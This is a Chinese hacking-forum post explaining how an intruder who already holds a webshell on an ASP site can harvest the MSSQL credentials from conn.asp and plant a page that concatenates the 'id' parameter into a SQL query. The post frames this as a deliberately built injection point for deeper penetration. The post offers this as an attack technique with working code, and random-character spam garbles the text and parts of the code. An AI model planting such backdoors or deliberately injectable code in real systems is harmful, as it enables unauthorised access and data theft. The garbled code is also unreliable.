自己构造注入点方便入侵
( B F6 ?; L$ d5 C! |$ ]1 w
' d2 p( D7 z. i" M今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
1 k! y+ ?9 F( C2 A1 P- i. v, m3 }7 I3 U" K, i( }8 I
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
! k% C9 C6 G m. `$ e4 a' N3 {" V9 H" b7 I- i7 k+ C+ W
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
- l4 ]0 f2 k& D! B: c- Q. V) g1 u, h& L" d7 m" P# @8 D7 L/ [, y
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
v) G% y7 \" U3 Q% l$ d2 p* I. ^' ]. D5 M
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
4 N# a, U b7 @/ ~" W" t" P7 z. B; g$ t3 Y( t9 L$ U% B; P$ T& w& K" X
程序代码; }( W) ]& M7 z) U0 j
<!--#include file="xx.asp"-->
% F9 ]: d" x! J. X4 X<%7 A! f$ ^ ~7 h
set rs=server.createobject("ADODB.recordset")
b- K y8 i& h, [2 lid = request("id"); w/ K6 ]1 y$ I+ b* c4 V
strSQL = "select * from admin where id=" & id
9 ]$ F. l2 u$ }! C, nrs.open strSQL,conn,1,3
3 O2 P6 N: x5 E4 Q. C; Zrs.close7 Q, L5 Q' Z; h4 o
%>% [+ _4 _$ E! T; R4 Z
3 _; |4 h2 z! D把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
8 H% ^9 L: T# C. h! M, @3 K! U0 v5 Y& W" c3 i
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
3 Q' J5 E. R3 B* h, N8 A7 C/ I7 s; e. F( g$ G# i4 a$ L
然后就要构造一个连接数据库的文件了,代码如下:
/ Z1 T0 J2 F# S2 }. {0 {. c$ p, o( ~程序代码$ j. ^ @4 ]( R, W8 S7 b) `, O( S
<% . b _5 H/ {( s# P( [
strSQLServerName = "000.000.000.000" '服务器名称或地址/ K/ K9 I, i/ D* z" n
strSQLDBUserName = "sqlname" '数据库帐号
1 e5 L, B! U) _3 V+ h ?strSQLDBPassword = "sqlpass" '数据库密码' w$ V9 X5 i5 ~9 a; p+ i3 [ U* E
strSQLDBName = "sqldataname" '数据库名称
. K% Q# z" ]6 v: gSet conn = Server.CreateObject("ADODB.Connection")7 t% C# q1 E1 N/ C( g
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"$ f7 \$ ?( g- p9 q4 y
conn.open strCon
# `8 g9 M# s( q0 R%>
0 T/ y. z' \1 a, }6 q; L6 v4 K1 w: @- z( f2 q5 u2 J# a
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,2 h3 Y. w3 b m" Y j- Y$ I* u
/ s- u8 u4 [ Y6 M% ~2 p就这样,正常情况下,就OK了,伪造成功……7 @) [8 N$ _4 Q- ] S5 K. o
# d% Y- u! O' h/ Y8 p5 ? 如果有什么问题可以提出来大家一起探讨解决。 |